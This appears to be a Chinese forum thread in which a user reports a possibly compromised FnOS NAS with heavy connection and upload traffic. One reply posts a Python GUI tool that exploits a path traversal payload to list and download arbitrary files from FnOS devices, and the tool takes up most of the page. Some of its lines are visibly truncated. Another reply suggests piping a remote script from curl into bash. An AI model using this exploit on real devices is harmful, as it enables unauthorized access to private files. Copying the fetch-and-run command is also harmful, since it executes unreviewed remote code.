dswqgu 发表于 2026-2-1 01:12:10

我的飞牛OS好像中毒了

我的飞牛OS好像中毒了。。。

从上个月18号开始 连接数3000后面连接数10万

上行也跑到了最大1G


建议使用脚本自查curl -fsSL http://static2.fnnas.com/aptfix/listautostart.sh | bash

水杉 发表于 2026-2-1 03:12:08

给你个脚本去跑
反正官方也不重视,只好以暴制暴了
import tkinter as tk
import requests
from bs4 import BeautifulSoup
import os
import urllib.parse

# 用于保存路径段的数组,模拟 http.server 的目录浏览
path_segments = []

def normalize_url(url: str) -> str:
    return url.rstrip('/')

def access_url(base_only=False):
    global path_segments
    url = normalize_url(entry_url.get().strip())
    payload = entry_payload.get().strip()
    if not url:
      return

    if base_only:
      path_segments = []

    full_url = url + payload
    if path_segments:
      encoded_segments =
      full_url += "/".join(encoded_segments)

    entry_result.delete(0, tk.END)
    entry_result.insert(0, full_url)

    try:
      response = requests.get(full_url, timeout=5)
      if response.status_code != 200:
            entry_status.delete(0, tk.END)
            entry_status.insert(0, f"访问失败: 状态码 {response.status_code}")
            return

      soup = BeautifulSoup(response.text, "html.parser")
      links =

      listbox_links.delete(0, tk.END)
      listbox_links.insert(tk.END, "../")
      for link in links:
            decoded = urllib.parse.unquote(link)
            listbox_links.insert(tk.END, decoded)

      entry_status.delete(0, tk.END)
      entry_status.insert(0, f"访问成功: 状态码 {response.status_code}")

    except Exception as e:
      if path_segments:
            path_segments.pop()
      entry_status.delete(0, tk.END)
      entry_status.insert(0, f"访问错误: {e}")

def on_double_click(event):
    selected = listbox_links.get(tk.ACTIVE)
    if not selected:
      return

    global path_segments

    if selected == "../":
      if path_segments:
            path_segments.pop()
    else:
      path_segments.append(selected)

    entry_third.delete(0, tk.END)
    entry_third.insert(0, "/".join(path_segments))

    access_url()

def on_right_click(event):
    try:
      index = listbox_links.nearest(event.y)
      selected = listbox_links.get(index)
    except Exception:
      return

    if not selected or selected == "../":
      return

    # 高亮选中的条目
    listbox_links.selection_clear(0, tk.END)
    listbox_links.selection_set(index)
    listbox_links.activate(index)

    menu = tk.Menu(root, tearoff=0)

    if selected.endswith('/'):
      menu.add_command(label="无法下载目录", state="disabled")
    else:
      menu.add_command(label="下载到当前目录", command=lambda: download_file(selected))

    menu.post(event.x_root, event.y_root)

def download_file(filename):
    url = normalize_url(entry_url.get().strip())
    payload = entry_payload.get().strip()
    full_url = url + payload
    if path_segments:
      encoded_segments =
      full_url += "/".join(encoded_segments)
    full_url += urllib.parse.quote(filename)

    try:
      response = requests.get(full_url, timeout=5)
      if response.status_code != 200:
            entry_status.delete(0, tk.END)
            entry_status.insert(0, f"下载失败: 状态码 {response.status_code}")
            return
      with open(os.path.basename(filename), "wb") as f:
            f.write(response.content)
      entry_status.delete(0, tk.END)
      entry_status.insert(0, f"下载成功: {filename} (状态码 {response.status_code})")
    except Exception as e:
      entry_status.delete(0, tk.END)
      entry_status.insert(0, f"下载错误: {e}")

# 主窗口
root = tk.Tk()
root.title("仅供学习交流 - 禁止非法使用 - 请与24小时内删除 - 侵权请联系删除")

# 允许窗口拉伸
root.rowconfigure(5, weight=1)
root.columnconfigure(0, weight=1)

frame_top = tk.Frame(root)
frame_top.pack(pady=5, fill="x")

label_url = tk.Label(frame_top, text="URL:")
label_url.grid(row=0, column=0, padx=5)
entry_url = tk.Entry(frame_top, width=30)
entry_url.grid(row=0, column=1, padx=5)

label_payload = tk.Label(frame_top, text="Payload:")
label_payload.grid(row=0, column=2, padx=5)
entry_payload = tk.Entry(frame_top, width=50)
entry_payload.insert(0, "/app-center-static/serviceicon/myapp/{0}/?size=../../../../")
entry_payload.grid(row=0, column=3, padx=5)

button_access = tk.Button(frame_top, text="访问根目录", command=lambda: access_url(base_only=True))
button_access.grid(row=0, column=4, padx=5)

label_result = tk.Label(root, text="当前访问的URL:")
label_result.pack(pady=5)
entry_result = tk.Entry(root, width=80)
entry_result.pack(pady=5, fill="x")

label_links = tk.Label(root, text="目录中的文件/目录:")
label_links.pack(pady=5)

frame_list = tk.Frame(root)
frame_list.pack(pady=5, fill="both", expand=True)

scrollbar = tk.Scrollbar(frame_list, orient="vertical")
listbox_links = tk.Listbox(frame_list, yscrollcommand=scrollbar.set)
scrollbar.config(command=listbox_links.yview)

listbox_links.pack(side="left", fill="both", expand=True)
scrollbar.pack(side="right", fill="y")

listbox_links.bind("<Double-Button-1>", on_double_click)
listbox_links.bind("<Button-3>", on_right_click)

label_third = tk.Label(root, text="当前路径 (第三段):")
label_third.pack(pady=5)
entry_third = tk.Entry(root, width=80)
entry_third.pack(pady=5, fill="x")

label_status = tk.Label(root, text="下载/访问状态:")
label_status.pack(pady=5)
entry_status = tk.Entry(root, width=80)
entry_status.pack(pady=5, fill="x")

root.mainloop()

Chengnan 发表于 2026-2-1 03:12:49

只能说趁早换
页: [1]
查看完整版本: 我的飞牛OS好像中毒了